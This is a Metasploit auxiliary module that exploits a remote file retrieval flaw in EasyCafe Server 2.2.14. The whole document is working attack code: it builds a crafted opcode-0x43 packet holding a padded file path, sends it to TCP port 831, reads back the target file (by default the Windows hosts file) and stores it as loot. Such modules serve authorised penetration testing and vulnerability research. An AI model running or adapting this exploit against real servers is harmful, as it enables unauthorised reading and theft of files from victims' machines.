EasyCafe Server Remote File Access

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'EasyCafe Server Remote File Access',  
'Description' => %q{  
This module exploits a file retrieval vulnerability in  
EasyCafe Server. The vulnerability can be triggered by  
sending a specially crafted packet (opcode 0x43) to the  
831/TCP port.  
This module has been successfully tested on EasyCafe Server  
version 2.2.14 (Trial mode and Demo mode) on Windows XP SP3  
and Windows 7 SP1.  
Note that the server will throw a popup messagebox if the  
specified file does not exist.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'R-73eN', # Vulnerability Discovery  
'bcoles' # Metasploit module  
],  
'References' =>  
[  
[ 'EDB', '39102' ]  
]  
))  
  
register_options(  
[  
Opt::RPORT(831),  
OptString.new('FILEPATH', [true, 'The path of the file to download', 'C:\\WINDOWS\\system32\\drivers\\etc\\hosts'])  
])  
end  
  
def get_file  
res = sock.get_once  
unless res  
print_error("Unable to retrieve file due to a timeout.")  
return  
end  
  
unless res.length == 261  
print_error("Received a response of an invalid size.")  
return  
end  
  
file_size = res.unpack('@256V')[0]  
contents = ''  
while contents.length < file_size  
contents << sock.get_once  
end  
  
print_good("File retrieved successfully (#{contents.length} bytes)!")  
contents  
end  
  
def run_host(ip)  
file_path = datastore['FILEPATH']  
if file_path.length > 67  
print_error("File path is longer than 67 characters. Try using MS-DOS 8.3 short file names.")  
return  
end  
  
packet = "\x43"  
packet << file_path  
packet << "\x00" * (255 - file_path.length)  
packet << "\x01\x00\x00\x00\x01"  
  
vprint_status("Sending request (#{packet.length} bytes)")  
connect  
sock.put(packet)  
  
contents = get_file  
disconnect  
return if contents.nil?  
  
path = store_loot(  
'easycafe_server',  
'application/octet-stream',  
ip,  
contents,  
File.basename(file_path)  
)  
print_status("File saved in: #{path}")  
end  
end  
`